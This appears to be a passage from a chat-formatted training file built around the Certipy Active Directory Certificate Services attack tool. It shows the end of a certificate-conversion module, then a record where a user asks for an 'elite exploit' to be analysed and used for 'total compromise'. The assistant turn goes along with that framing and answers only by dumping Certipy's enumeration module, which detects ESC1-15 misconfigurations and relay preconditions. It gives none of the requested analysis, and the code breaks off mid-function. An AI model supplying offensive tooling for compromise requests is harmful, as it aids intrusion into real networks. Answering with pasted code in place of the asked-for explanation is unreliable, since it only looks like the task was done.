command.\n\n Processes certificates and private keys according to specified options.\n\n Args:\n options: Command-line arguments\n \"\"\"\n cert, key = None, None\n\n # Validate inputs\n if not any([options.pfx, options.cert, options.key]):\n logging.error(\"-pfx, -cert, or -key is required\")\n return\n\n # Process PFX input if provided\n if options.pfx:\n try:\n password = options.password.encode() if options.password else None\n log_msg = (\n f\"Loading PFX {options.pfx!r} with password\"\n if password\n else f\"Loading PFX {options.pfx!r} without password\"\n )\n logging.debug(log_msg)\n\n with open(options.pfx, \"rb\") as f:\n pfx = f.read()\n\n key, cert = load_pfx(pfx, password)\n except Exception as e:\n logging.error(f\"Failed to load PFX file: {e}\")\n handle_error()\n return\n\n # Process certificate input if provided\n if options.cert:\n try:\n cert_data = load_certificate_file(options.cert)\n cert = parse_certificate(cert_data)\n except Exception as e:\n logging.error(f\"Failed to process certificate: {e}\")\n handle_error()\n return\n\n # Process private key input if provided\n if options.key:\n try:\n key_data = load_key_file(options.key)\n key = parse_key(key_data)\n except Exception as e:\n logging.error(f\"Failed to process private key: {e}\")\n handle_error()\n return\n\n # Export in PFX format\n if options.export:\n if not (key and cert):\n logging.error(\n \"Both certificate and private key are required for PFX export\"\n )\n return\n\n try:\n pfx = create_pfx(key, cert, options.export_password)\n write_output(pfx, options.out)\n except Exception as e:\n logging.error(f\"Failed to create PFX: {e}\")\n handle_error()\n return\n # Export in PEM format\n else:\n output_parts = []\n output_types = []\n\n # Add certificate to output if available and not suppressed\n if cert and not options.nocert:\n output_parts.append(cert_to_pem(cert).decode())\n output_types.append(\"certificate\")\n\n # Add private key to output if available and not suppressed\n if key and not options.nokey:\n output_parts.append(key_to_pem(key).decode())\n output_types.append(\"private key\")\n\n # Combine all parts\n output = \"\".join(output_parts)\n\n # Check if output is empty\n if not output:\n logging.error(\"Output is empty\")\n return\n\n # Format log message for what's being written\n log_str = \" and \".join(output_types)\n\n try:\n write_output(output, options.out)\n if options.out:\n logging.info(f\"Writing {log_str} to {options.out!r}\")\n except Exception as e:\n logging.error(f\"Failed to write output: {e}\")\n handle_error()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/find.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate Finder Module for Certipy.\n\nThis module allows enumerating Active Directory Certificate Services (AD CS) components:\n- Certificate templates\n- Certificate authorities\n- Certificate issuance policies\n- Security permissions and ACLs\n- Vulnerability detection for ESC1-15\n\nIt provides detailed information about certificate templates, authorities, and security\nsettings, helping identify misconfiguration and potential attack vectors.\n\"\"\"\n\nimport argparse\nimport copy\nimport csv\nimport io\nimport json\nimport time\nfrom collections import OrderedDict\nfrom datetime import datetime\nfrom typing import Any, Dict, List, Optional, Set, Tuple, cast\n\nimport httpx\nimport requests\nfrom asn1crypto import x509\nfrom impacket.dcerpc.v5 import rpcrt, rrp\n\nfrom certipy.lib.constants import (\n EXTENDED_RIGHTS_MAP,\n EXTENDED_RIGHTS_NAME_MAP,\n OID_TO_STR_MAP,\n USER_AGENT,\n ActiveDirectoryRights,\n CertificateAuthorityRights,\n CertificateNameFlag,\n CertificateRights,\n EnrollmentFlag,\n IssuancePolicyRights,\n PrivateKeyFlag,\n)\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.files import try_to_save_file\nfrom certipy.lib.formatting import pretty_print\nfrom certipy.lib.kerberos import HttpxKerberosAuth\nfrom certipy.lib.ldap import LDAPConnection, LDAPEntry\nfrom certipy.lib.logger import is_verbose, logging\nfrom certipy.lib.ntlm import HttpxNtlmAuth, NtlmNotSupportedError\nfrom certipy.lib.rpc import get_dce_rpc_from_string_binding\nfrom certipy.lib.security import (\n CertificateSecurity,\n IssuancePolicySecurity,\n is_admin_sid,\n)\nfrom certipy.lib.target import Target\nfrom certipy.lib.time import filetime_to_str\n\nfrom .ca import CA\n\n\nclass Find:\n def __init__(\n self,\n target: Target,\n json: bool = False,\n csv: bool = False,\n text: bool = False,\n stdout: bool = False,\n output: Optional[str] = None,\n trailing_output: str = \"\",\n enabled: bool = False,\n oids: bool = False,\n vulnerable: bool = False,\n hide_admins: bool = False,\n sid: Optional[str] = None,\n dn: Optional[str] = None,\n dc_only: bool = False,\n connection: Optional[LDAPConnection] = None,\n **kwargs, # type: ignore\n ):\n self.target = target\n self.json = json\n self.csv = csv\n self.text = text or stdout\n self.stdout = stdout\n self.output = output\n self.trailing_output = trailing_output\n self.enabled = enabled\n self.oids = oids\n self.vuln = vulnerable\n self.hide_admins = hide_admins\n self.sid = sid\n self.dn = dn\n self.dc_only = dc_only\n self.kwargs = kwargs\n\n self._connection = connection\n self._user_sids = None\n\n # =========================================================================\n # Connection Handling\n # =========================================================================\n\n @property\n def connection(self) -> LDAPConnection:\n \"\"\"\n Get or create an LDAP connection.\n\n Returns:\n Active LDAP connection to the target\n \"\"\"\n if self._connection is not None:\n return self._connection\n\n self._connection = LDAPConnection(self.target)\n self._connection.connect()\n\n return self._connection\n\n @property\n def user_sids(self) -> Set[str]:\n \"\"\"\n Get current user's SIDs.\n\n Returns:\n Set of SIDs associated with the current user\n \"\"\"\n if self._user_sids is None:\n self._user_sids: Optional[Set[str]] = self.connection.get_user_sids(\n self.target.username, self.sid, self.dn\n )\n\n return self._user_sids\n\n def open_remote_registry(\n self, target_ip: str, dns_host_name: str\n ) -> Optional[rpcrt.DCERPC_v5]:\n \"\"\"\n Open a connection to the remote registry service.\n\n Args:\n target_ip: IP address of the target\n dns_host_name: DNS host name of the target\n\n Returns:\n DCE/RPC connection to the remote registry or None if failed\n \"\"\"\n dce = get_dce_rpc_from_string_binding(\n \"ncacn_np:445[\\\\pipe\\\\winreg]\",\n self.target,\n timeout=self.target.timeout,\n target_ip=target_ip,\n remote_name=dns_host_name,\n )\n\n # Try to connect up to 3 times (registry service might need to start)\n for _ in range(3):\n try:\n dce.connect()\n _ = dce.bind(rrp.MSRPC_UUID_RRP)\n logging.debug(\n f\"Connected to remote registry at {self.target.remote_name!r} ({self.target.target_ip!r})\"\n )\n return dce\n except Exception as e:\n if \"STATUS_PIPE_NOT_AVAILABLE\" in str(e):\n logging.warning(\n \"Failed to connect to remote registry. Service should be starting now. Trying again...\"\n )\n time.sleep(2)\n else:\n raise\n\n logging.warning(\"Failed to connect to remote registry after 3 attempts\")\n return None\n\n # =========================================================================\n # LDAP Query Methods\n # =========================================================================\n\n def get_certificate_templates(self) -> List[LDAPEntry]:\n \"\"\"\n Query LDAP for certificate templates.\n\n Returns:\n List of certificate template entries\n \"\"\"\n return self.connection.search(\n \"(objectclass=pKICertificateTemplate)\",\n search_base=f\"CN=Certificate Templates,CN=Public Key Services,CN=Services,{self.connection.configuration_path}\",\n attributes=[\n \"cn\",\n \"name\",\n \"displayName\",\n \"pKIExpirationPeriod\",\n \"pKIOverlapPeriod\",\n \"msPKI-Enrollment-Flag\",\n \"msPKI-Private-Key-Flag\",\n \"msPKI-Certificate-Name-Flag\",\n \"msPKI-Certificate-Policy\",\n \"msPKI-Minimal-Key-Size\",\n \"msPKI-RA-Signature\",\n \"msPKI-Template-Schema-Version\",\n \"msPKI-RA-Application-Policies\",\n \"pKIExtendedKeyUsage\",\n \"nTSecurityDescriptor\",\n \"objectGUID\",\n \"whenCreated\",\n \"whenChanged\",\n ],\n query_sd=True,\n )\n\n def get_certificate_authorities(self) -> List[LDAPEntry]:\n \"\"\"\n Query LDAP for certificate authorities.\n\n Returns:\n List of certificate authority entries\n \"\"\"\n return self.connection.search(\n \"(&(objectClass=pKIEnrollmentService))\",\n search_base=f\"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}\",\n attributes=[\n \"cn\",\n \"name\",\n \"dNSHostName\",\n \"cACertificateDN\",\n \"cACertificate\",\n \"certificateTemplates\",\n \"objectGUID\",\n ],\n )\n\n def get_issuance_policies(self) -> List[LDAPEntry]:\n \"\"\"\n Query LDAP for issuance policies (OIDs).\n\n Returns:\n List of issuance policy entries\n \"\"\"\n return self.connection.search(\n \"(objectclass=msPKI-Enterprise-Oid)\",\n search_base=f\"CN=OID,CN=Public Key Services,CN=Services,{self.connection.configuration_path}\",\n attributes=[\n \"cn\",\n \"name\",\n \"displayName\",\n \"msDS-OIDToGroupLink\",\n \"msPKI-Cert-Template-OID\",\n \"nTSecurityDescriptor\",\n \"objectGUID\",\n ],\n query_sd=True,\n )\n\n # =========================================================================\n # Main Discovery Method\n # =========================================================================\n\n def find(self) -> None:\n \"\"\"\n Discover and analyze AD CS components and detect vulnerabilities.\n\n This is the main entry point that:\n 1. Discovers templates, CAs, and issuance policies\n 2. Processes their properties and security settings\n 3. Detects vulnerabilities\n 4. Outputs results in requested formats\n \"\"\"\n # Early establish connection\n\n _connection = self.connection\n\n # Get user SIDs for vulnerability assessment if needed\n if self.vuln:\n sids = self.user_sids\n\n if is_verbose():\n logging.debug(\"List of current user's SIDs:\")\n for sid in sids:\n sid_info = self.connection.lookup_sid(sid)\n print(f\" {sid_info.get('name')} ({sid_info.get('objectSid')})\")\n\n # Step 1: Query and discover AD CS components\n logging.info(\"Finding certificate templates\")\n templates = self.get_certificate_templates()\n logging.info(\n f\"Found {len(templates)} certificate template{'s' if len(templates) != 1 else ''}\"\n )\n\n logging.info(\"Finding certificate authorities\")\n cas = self.get_certificate_authorities()\n logging.info(\n f\"Found {len(cas)} certificate authorit{'ies' if len(cas) != 1 else 'y'}\"\n )\n\n # Step 2: Find relationships between CAs and templates\n enabled_templates_count = self._link_cas_and_templates(cas, templates)\n logging.info(\n f\"Found {enabled_templates_count} enabled certificate template{'s' if enabled_templates_count != 1 else ''}\"\n )\n\n # Step 3: Find issuance policies and their relationships\n logging.info(\"Finding issuance policies\")\n oids = self.get_issuance_policies()\n logging.info(\n f\"Found {len(oids)} issuance polic{'ies' if len(oids) != 1 else 'y'}\"\n )\n\n # Step 4: Link templates to issuance policies\n enabled_oids_count = self._link_templates_and_policies(templates, oids)\n logging.info(\n f\"Found {enabled_oids_count} OID{'s' if enabled_oids_count != 1 else ''} \"\n f\"linked to {'templates' if enabled_oids_count != 1 else 'a template'}\"\n )\n\n # Step 5: Process CA certificates and properties\n self._process_ca_properties(cas)\n\n # Step 6: Process template properties\n self._process_template_properties(templates)\n\n # Step 7: Generate and save output\n prefix = (\n datetime.now().strftime(\"%Y%m%d%H%M%S\") if not self.output else self.output\n )\n self._save_output(templates, cas, oids, prefix)\n\n # =========================================================================\n # Certificate Authority (CA) Methods\n # =========================================================================\n\n def _link_cas_and_templates(\n self, cas: List[LDAPEntry], templates: List[LDAPEntry]\n ) -> int:\n \"\"\"\n Link certificate authorities to templates and vice versa.\n\n Args:\n cas: List of certificate authorities\n templates: List of certificate templates\n\n Returns:\n Number of enabled templates\n \"\"\"\n enabled_templates_count = 0\n\n for ca in cas:\n # Clean GUID format\n object_id = ca.get(\"objectGUID\").lstrip(\"{\").rstrip(\"}\")\n ca.set(\"object_id\", object_id)\n\n # Get templates enabled on this CA\n ca_templates = ca.get(\"certificateTemplates\") or []\n\n # Link CA to templates\n for template in templates:\n if template.get(\"name\") in ca_templates:\n enabled_templates_count += 1\n\n # Add CA to template's CA list\n if \"cas\" in template[\"attributes\"]:\n template.get(\"cas\").append(ca.get(\"name\"))\n template.get(\"cas_ids\").append(object_id)\n else:\n template.set(\"cas\", [ca.get(\"name\")])\n template.set(\"cas_ids\", [object_id])\n\n return enabled_templates_count\n\n def _link_templates_and_policies(\n self, templates: List[LDAPEntry], oids: List[LDAPEntry]\n ) -> int:\n \"\"\"\n Link templates to their issuance policies and vice versa.\n\n Args:\n templates: List of certificate templates\n oids: List of issuance policies\n\n Returns:\n Number of enabled OIDs\n \"\"\"\n enabled_oids_count = 0\n\n for template in templates:\n # Clean GUID format\n object_id = template.get(\"objectGUID\").lstrip(\"{\").rstrip(\"}\")\n template.set(\"object_id\", object_id)\n\n # Process issuance policies\n issuance_policies = template.get(\"msPKI-Certificate-Policy\")\n if not isinstance(issuance_policies, list):\n issuance_policies = (\n [] if issuance_policies is None else [issuance_policies]\n )\n\n template.set(\"issuance_policies\", issuance_policies)\n\n # Link OIDs to templates and vice versa\n for oid in oids:\n oid_value = oid.get(\"msPKI-Cert-Template-OID\")\n if oid_value in issuance_policies:\n enabled_oids_count += 1\n\n # Get linked group (if any)\n linked_group = oid.get(\"msDS-OIDToGroupLink\")\n\n # Add template to OID's template list\n if \"templates\" in oid[\"attributes\"]:\n oid.get(\"templates\").append(template.get(\"name\"))\n oid.get(\"templates_ids\").append(object_id)\n else:\n oid.set(\"templates\", [template.get(\"name\")])\n oid.set(\"templates_ids\", [object_id])\n\n # Add linked group info\n if linked_group:\n oid.set(\"linked_group\", linked_group)\n\n # Add linked group to template\n if \"issuance_policies_linked_groups\" in template[\"attributes\"]:\n template.get(\"issuance_policies_linked_groups\").append(\n linked_group\n )\n else:\n template.set(\n \"issuance_policies_linked_groups\", [linked_group]\n )\n\n return enabled_oids_count\n\n def _process_ca_properties(self, cas: List[LDAPEntry]) -> None:\n \"\"\"\n Process certificate authority properties and security settings.\n\n Args:\n cas: List of certificate authorities\n \"\"\"\n for ca in cas:\n try:\n if self.dc_only:\n # In DC-only mode, we don't connect to CAs directly\n ca_properties = {\n \"user_specified_san\": \"Unknown\",\n \"request_disposition\": \"Unknown\",\n \"enforce_encrypt_icertrequest\": \"Unknown\",\n \"security\": None,\n \"web_enrollment\": {\n \"http\": {\"enabled\": \"Unknown\"},\n \"https\": {\"enabled\": \"Unknown\", \"channel_binding\": None},\n },\n }\n\n else:\n # Connect to CA and get configuration\n ca_properties = self._get_ca_config_and_web_enrollment(ca)\n\n # Apply all properties to the CA object\n for key, value in ca_properties.items():\n ca.set(key, value)\n\n # Process CA certificate if available\n self._process_ca_certificate(ca)\n\n except Exception as e:\n ca_name = ca.get(\"name\", \"Unknown\")\n logging.warning(f\"Failed to process CA properties for {ca_name!r}: {e}\")\n handle_error(True)\n # Continue processing other CAs\n continue\n\n def _get_ca_config_and_web_enrollment(self, ca: LDAPEntry) -> Dict[str, Any]:\n \"\"\"\n Get CA configuration and web enrollment settings.\n\n Args:\n ca: Certificate authority object\n\n Returns:\n Dictionary of CA properties\n \"\"\"\n # Default values\n ca_properties: Dict[str, Any] = {\n \"user_specified_san\": \"Unknown\",\n \"request_disposition\": \"Unknown\",\n \"enforce_encrypt_icertrequest\": \"Unknown\",\n \"security\": None,\n \"web_enrollment\": {\n \"http\": {\"enabled\": \"Unknown\"},\n \"https\": {\"enabled\": \"Unknown\", \"channel_binding\": None},\n },\n }\n\n ca_name = ca.get(\"name\")\n ca_remote_name = ca.get(\"dNSHostName\")\n\n try:\n # Get CA hostname and IP\n ca_target_ip = self.target.resolver.resolve(ca_remote_name)\n\n # Clone target for this CA\n ca_target = copy.copy(self.target)\n ca_target.remote_name = ca_remote_name\n ca_target.target_ip = ca_target_ip\n\n # Connect to CA and get configuration\n ca_service = CA(ca_target, ca=ca_name)\n ca_configuration = ca_service.get_config()\n\n active_policy = \"Unknown\"\n request_disposition = \"Unknown\"\n user_specified_san = \"Unknown\"\n enforce_encrypt_icertrequest = \"Unknown\"\n disabled_extensions = \"Unknown\"\n security = None\n\n if ca_configuration is not None:\n active_policy = ca_configuration.active_policy\n\n # Process request disposition\n request_disposition = (\n \"Pending\"\n if ca_configuration.request_disposition & 0x100\n else \"Issue\"\n )\n\n # Process SAN flag\n user_specified_san = (\n ca_configuration.edit_flags & 0x00040000\n ) == 0x00040000\n user_specified_san = \"Enabled\" if user_specified_san else \"Disabled\"\n\n # Process encryption flag\n enforce_encrypt = (\n ca_configuration.interface_flags & 0x00000200\n ) == 0x00000200\n enforce_encrypt_icertrequest = (\n \"Enabled\" if enforce_encrypt else \"Disabled\"\n )\n\n # TODO: Map to human-readable format\n disabled_extensions = ca_configuration.disable_extension_list\n\n security = ca_configuration.security\n\n # Update properties\n ca_properties.update(\n {\n \"active_policy\": active_policy,\n \"user_specified_san\": user_specified_san,\n \"request_disposition\": request_disposition,\n \"enforce_encrypt_icertrequest\": enforce_encrypt_icertrequest,\n \"disabled_extensions\": disabled_extensions,\n \"security\": security,\n }\n )\n\n except Exception as e:\n logging.warning(\n f\"Failed to get CA security and configuration for {ca_name!r}: {e}\"\n )\n handle_error(True)\n\n # Check web enrollment\n logging.info(f\"Checking web enrollment for CA {ca_name!r} @ {ca_remote_name!r}\")\n try:\n\n ca_properties[\"web_enrollment\"][\"http\"][\"enabled\"] = (\n self.check_web_enrollment(ca, \"http\")\n )\n\n https_enabled = self.check_web_enrollment(ca, \"https\")\n\n ca_properties[\"web_enrollment\"][\"https\"][\"enabled\"] = https_enabled\n\n if https_enabled:\n # Check channel binding (EPA)\n channel_binding_enabled = self.check_channel_binding(ca)\n\n ca_properties[\"web_enrollment\"][\"https\"][\"channel_binding\"] = (\n \"Unknown\"\n if channel_binding_enabled is None\n else channel_binding_enabled\n )\n\n except Exception as e:\n logging.warning(f\"Failed to check Web Enrollment for CA {ca_name!r}: {e}\")\n handle_error(True)\n\n return ca_properties\n\n def _process_ca_certificate(self, ca: LDAPEntry):\n \"\"\"\n Process CA certificate information.\n\n Args:\n ca: Certificate authority object\n \"\"\"\n subject_name = ca.get(\"cACertificateDN\")\n ca.set(\"subject_name\", subject_name)\n\n try:\n ca_certificate = ca.get(\"cACertificate\")\n if not ca_certificate or len(ca_certificate) == 0:\n logging.debug(f\"No CA certificate available for {ca.get('name')!r}\")\n return\n\n # Parse the CA certificate\n ca_cert = x509.Certificate.load(ca_certificate[0])[\"tbs_certificate\"]\n\n # Get certificate serial number\n serial_number = hex(int(ca_cert[\"serial_number\"]))[2:].upper()\n\n # Get certificate validity period\n validity = ca_cert[\"validity\"].native\n validity_start = str(validity[\"not_before\"])\n validity_end = str(validity[\"not_after\"])\n\n # Set certificate properties\n ca.set(\"serial_number\", serial_number)\n ca.set(\"validity_start\", validity_start)\n ca.set(\"validity_end\", validity_end)\n\n except Exception as e:\n logging.warning(\n f\"Could not parse CA certificate for {ca.get('name')!r}: {e}\"\n )\n handle_error(True)\n\n def check_web_enrollment(self, ca: LDAPEntry, channel: str) -> bool:\n \"\"\"\n Check if web enrollment is enabled on the CA.\n\n Args:\n ca: Certificate authority object\n channel: Protocol to check (http or https)\n\n Returns:\n True if enabled, False if disabled, None if unknown\n \"\"\"\n target_name = ca.get(\"dNSHostName\")\n target_ip = self.target.resolver.resolve(target_name)\n\n headers = {\n \"User-Agent\": USER_AGENT,\n \"Host\": target_name,\n }\n\n session = httpx.Client(\n timeout=self.target.timeout,\n verify=False,\n )\n\n url = f\"{channel}://{target_ip}/certsrv/\"\n\n try:\n logging.debug(f\"Connecting to {url!r}\")\n\n res = session.get(\n url,\n headers=headers,\n timeout=self.target.timeout,\n follow_redirects=False,\n )\n\n # 401 indicates authentication required (service is running)\n if res.status_code == 401:\n logging.debug(f\"Web enrollment seems enabled over {channel}\")\n return True\n\n except requests.exceptions.Timeout:\n logging.debug(f\"Web enrollment seems disabled over {channel}\")\n return False\n\n except Exception as e:\n logging.warning(f\"Error checking web enrollment: {e}\")\n handle_error(True)\n\n return False\n\n def check_channel_binding(self, ca: LDAPEntry) -> Optional[bool]:\n \"\"\"\n Check if a Certificate Authority web enrollment endpoint enforces channel binding (EPA).\n\n This method tests HTTPS web enrollment authentication with and without channel binding\n to determine if Extended Protection for Authentication (EPA) is enabled.\n\n Args:\n ca: LDAP entry for the Certificate Authority\n\n Returns:\n True if channel binding is enforced\n False if channel binding is disabled\n None if the test was inconclusive or failed\n \"\"\"\n target_name = ca.get(\"dNSHostName\")\n ca_name = ca.get(\"name\")\n\n logging.debug(f\"Checking channel binding for CA {ca_name!r} ({target_name!r})\")\n\n # Set up connection parameters\n try:\n target_ip = self.target.resolver.resolve(target_name)\n\n # Create a copy of the target with CA-specific settings\n ca_target = copy.copy(self.target)\n ca_target.remote_name = target_name\n\n # Select authentication method based on whether Kerberos is enabled\n do_ntlm = not self.target.do_kerberos\n if do_ntlm:\n no_cb_auth = HttpxNtlmAuth(ca_target, channel_binding=False)\n cb_auth = HttpxNtlmAuth(ca_target, channel_binding=True)\n else:\n no_cb_auth = HttpxKerberosAuth(ca_target, channel_binding=False)\n cb_auth = HttpxKerberosAuth(ca_target, channel_binding=True)\n\n url = f\"https://{target_ip}/certsrv/\"\n headers = {\"User-Agent\": USER_AGENT, \"Host\": target_name}\n\n # First test: Try authentication without channel binding\n no_cb_session = httpx.Client(\n auth=no_cb_auth,\n timeout=self.target.timeout,\n verify=False,\n )\n\n res_no_cb = no_cb_session.get(\n url,\n headers=headers,\n timeout=self.target.timeout,\n follow_redirects=False,\n )\n\n logging.debug(\n f\"CA {ca_name!r} responds with {res_no_cb.status_code} over HTTPS without channel binding\"\n )\n\n # If non-401 status code, channel binding is likely disabled\n # (server accepted auth without channel binding)\n if res_no_cb.status_code != 401:\n logging.debug(\"Channel binding (EPA) seems disabled\")\n return False\n\n # Second test: Try authentication with channel binding\n cb_session = httpx.Client(\n auth=cb_auth,\n timeout=self.target.timeout,\n verify=False,\n )\n\n res_cb = cb_session.get(\n url,\n headers=headers,\n timeout=self.target.timeout,\n follow_redirects=False,\n )\n\n logging.debug(\n f\"CA {ca_name!r} responds with {res_cb.status_code} over HTTPS with channel binding\"\n )\n\n # If status code is not 401, channel binding is likely enabled\n # (server accepted auth with channel binding but not without it)\n if res_cb.status_code != 401:\n logging.debug(\"Channel binding (EPA) seems enabled\")\n return True\n else:\n # Both requests returned 401, likely due to invalid credentials\n logging.warning(\n \"Channel binding (EPA) produces the same response as without it. Perhaps invalid credentials?\"\n )\n return None\n except NtlmNotSupportedError:\n # NTLM not supported, skip channel binding check\n logging.warning(\n \"Failed to check channel binding: NTLM not supported. Try using Kerberos authentication (-k and -dc-host).\"\n )\n return None\n except Exception as e:\n logging.warning(f\"Failed to check channel binding: {e}\")\n handle_error(True)\n return None\n\n # =========================================================================\n # Certificate Template Methods\n # =========================================================================\n\n def _process_template_properties(self, templates: List[LDAPEntry]):\n \"\"\"\n Process certificate template properties.\n\n Args:\n templates: List of certificate templates\n \"\"\"\n for template in templates:\n # Set enabled flag\n template_cas = template.get(\"cas\")\n enabled = template_cas is not None and len(template_cas) > 0\n template.set(\"enabled\", enabled)\n\n # Process validity periods\n self._process_template_validity(template)\n\n # Process template flags\n self._process_template_flags(template)\n\n # Process template policies\n self._process_template_policies(template)\n\n def _process_template_validity(self, template: LDAPEntry):\n \"\"\"\n Process template validity periods.\n\n Args:\n template: Certificate template\n \"\"\"\n # Process expiration period\n expiration_period = template.get(\"pKIExpirationPeriod\")\n if expiration_period is not None:\n validity_period = filetime_to_str(expiration_period)\n else:\n validity_period = 0\n template.set(\"validity_period\", validity_period)\n\n # Process overlap (renewal) period\n overlap_period = template.get(\"pKIOverlapPeriod\")\n if overlap_period is not None:\n renewal_period = filetime_to_str(overlap_period)\n else:\n renewal_period = 0\n template.set(\"renewal_period\", renewal_period)\n\n def _process_template_flags(self, template: LDAPEntry):\n \"\"\"\n Process template flag attributes.\n\n Args:\n template: Certificate template\n \"\"\"\n # Process certificate name flags\n certificate_name_flag = template.get(\"msPKI-Certificate-Name-Flag\")\n if certificate_name_flag is not None:\n certificate_name_flag = CertificateNameFlag(int(certificate_name_flag))\n else:\n certificate_name_flag = CertificateNameFlag(0)\n template.set(\"certificate_name_flag\", certificate_name_flag.to_list())\n\n # Process enrollment flags\n enrollment_flag = template.get(\"msPKI-Enrollment-Flag\")\n if enrollment_flag is not None:\n enrollment_flag = EnrollmentFlag(int(enrollment_flag))\n else:\n enrollment_flag = EnrollmentFlag(0)\n template.set(\"enrollment_flag\", enrollment_flag.to_list())\n\n # Process private key flags\n private_key_flag = template.get(\"msPKI-Private-Key-Flag\")\n if private_key_flag is not None:\n private_key_flag = PrivateKeyFlag(int(private_key_flag))\n else:\n private_key_flag = PrivateKeyFlag(0)\n template.set(\"private_key_flag\", private_key_flag.to_list())\n\n # Process signature requirements\n authorized_signatures_required = template.get(\"msPKI-RA-Signature\")\n if authorized_signatures_required is not None:\n authorized_signatures_required = int(authorized_signatures_required)\n else:\n authorized_signatures_required = 0\n template.set(\"authorized_signatures_required\", authorized_signatures_required)\n\n # Process schema version\n schema_version = template.get(\"msPKI-Template-Schema-Version\")\n if schema_version is not None:\n schema_version = int(schema_version)\n else:\n schema_version = 1\n template.set(\"schema_version\", schema_version)\n\n def _process_template_policies(self, template: LDAPEntry):\n \"\"\"\n Process template policy attributes and extended key usage.\n\n Args:\n template: Certificate template\n \"\"\"\n # Process application policies\n application_policies = template.get_raw(\"msPKI-RA-Application-Policies\")\n if not isinstance(application_policies, list):\n application_policies = (\n [] if application_policies is None else [application_policies]\n )\n\n # Convert from bytes to strings and resolve OIDs\n application_policies = [p.decode() for p in application_policies]\n application_policies = [OID_TO_STR_MAP.get(p, p) for p in application_policies]\n template.set(\"application_policies\", application_policies)\n\n # Process extended key usage (EKU)\n eku = template.get_raw(\"pKIExtendedKeyUsage\")\n if not isinstance(eku, list):\n eku = [] if eku is None else [eku]\n\n # Convert from bytes to strings and resolve OIDs\n eku = cast(List[str], [e.decode() for e in eku])\n extended_key_usage = [OID_TO_STR_MAP.get(e, e) for e in eku]\n template.set(\"extended_key_usage\", extended_key_usage)\n\n # Determine template capabilities\n self._determine_template_capabilities(template, extended_key_usage)\n\n def _determine_template_capabilities(\n self, template: LDAPEntry, extended_key_usage: List[str]\n ):\n \"\"\"\n Determine template capabilities from EKU and flags.\n\n Args:\n template: Certificate template\n extended_key_usage: List of extended key usage values\n \"\"\"\n # Check for \"any purpose\" EKU\n any_purpose = \"Any Purpose\" in extended_key_usage or not extended_key_usage\n template.set(\"any_purpose\", any_purpose)\n\n # Check for client authentication capability\n client_auth_ekus = [\n \"Client Authentication\",\n \"Smart Card Logon\",\n \"PKINIT Client Authentication\",\n ]\n client_authentication = any_purpose or any(\n eku in extended_key_usage for eku in client_auth_ekus\n )\n template.set(\"client_authentication\", client_authentication)\n\n # Check for enrollment agent capability\n enrollment_agent = (\n any_purpose or \"Certificate Request Agent\" in extended_key_usage\n )\n template.set(\"enrollment_agent\", enrollment_agent)\n\n # Check if enrollee can supply subject\n certificate_name_flag = template.get(\"certificate_name_flag\", [])\n enrollee_supplies_subject = any(\n CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT in flag\n for flag in certificate_name_flag\n )\n template.set(\"enrollee_supplies_subject\", enrollee_supplies_subject)\n\n # Check if template requires manager approval\n enrollment_flag = template.get(\"enrollment_flag\", [])\n requires_manager_approval = EnrollmentFlag.PEND_ALL_REQUESTS in enrollment_flag\n template.set(\"requires_manager_approval\", requires_manager_approval)\n\n # Check if template has no security extension\n no_security_extension = EnrollmentFlag.NO_SECURITY_EXTENSION in enrollment_flag\n template.set(\"no_security_extension\", no_security_extension)\n\n # Check if template requires key archival\n private_key_flag = template.get(\"private_key_flag\", [])\n requires_key_archival = (\n PrivateKeyFlag.REQUIRE_PRIVATE_KEY_ARCHIVAL in private_key_flag\n )\n template.set(\"requires_key_archival\", requires_key_archival)\n\n # =========================================================================\n # Output Methods\n # =========================================================================\n\n def _save_output(\n self,\n templates: List[LDAPEntry],\n cas: List[LDAPEntry],\n oids: List[LDAPEntry],\n prefix: str,\n ):\n \"\"\"\n Generate and save output in requested formats.\n\n Args:\n templates: List of certificate templates\n cas: List of certificate authorities\n oids: List of issuance policies\n prefix: Output file prefix\n \"\"\"\n # Determine if default output format should be used\n not_specified = not any([self.json, self.text, self.csv])\n\n # Generate output for text/JSON formats\n output = self.get_output_for_text_and_json(templates, cas, oids)\n\n # Save text output\n if self.text or not_specified:\n output_text_stdout = copy.copy(output)\n\n if self.trailing_output:\n output_text_stdout[\"ESC14\"] = self.trailing_output\n\n if self.stdout:\n logging.info(\"Enumeration output:\")\n pretty_print(output_text_stdout)\n else:\n output_path = f\"{prefix}_Certipy.txt\"\n logging.info(f\"Saving text output to {output_path!r}\")\n\n f = io.StringIO()\n pretty_print(\n output_text_stdout,\n print_func=lambda x: f.write(x + \"\\n\"),\n )\n\n output_path = try_to_save_file(\n f.getvalue(),\n output_path,\n )\n logging.info(f\"Wrote text output to {output_path!r}\")\n\n # Save JSON output\n if self.json or not_specified:\n output_path = f\"{prefix}_Certipy.json\"\n logging.info(f\"Saving JSON output to {output_path!r}\")\n\n f = io.StringIO()\n json.dump(\n output,\n f,\n indent=2,\n default=str,\n )\n\n output_path = try_to_save_file(\n f.getvalue(),\n output_path,\n )\n logging.info(f\"Wrote JSON output to {output_path!r}\")\n\n # Save CSV output\n if self.csv:\n # Save templates CSV\n template_output = self.get_template_output_for_csv(output)\n template_output_path = f\"{prefix}_Templates_Certipy.csv\"\n logging.info(f\"Saving templates CSV output to {template_output_path!r}\")\n template_output_path = try_to_save_file(\n template_output, template_output_path\n )\n logging.info(f\"Wrote templates CSV output to {template_output_path!r}\")\n\n # Save CA CSV\n ca_output = self.get_ca_output_for_csv(output)\n ca_output_path = f\"{prefix}_CAs_Certipy.csv\"\n logging.info(f\"Saving CA CSV output to {ca_output_path!r}\")\n ca_output_path = try_to_save_file(ca_output, ca_output_path)\n logging.info(f\"Wrote CA CSV output to {ca_output_path!r}\")\n\n def get_output_for_text_and_json(\n self, templates: List[LDAPEntry], cas: List[LDAPEntry], oids: List[LDAPEntry]\n ) -> Dict[str, Any]:\n \"\"\"\n Generate structured output for text and JSON formats.\n\n Args:\n templates: List of certificate templates\n cas: List of certificate authorities\n oids: List of issuance policies\n\n Returns:\n Dictionary containing structured output\n \"\"\"\n ca_entries = {}\n template_entries = {}\n 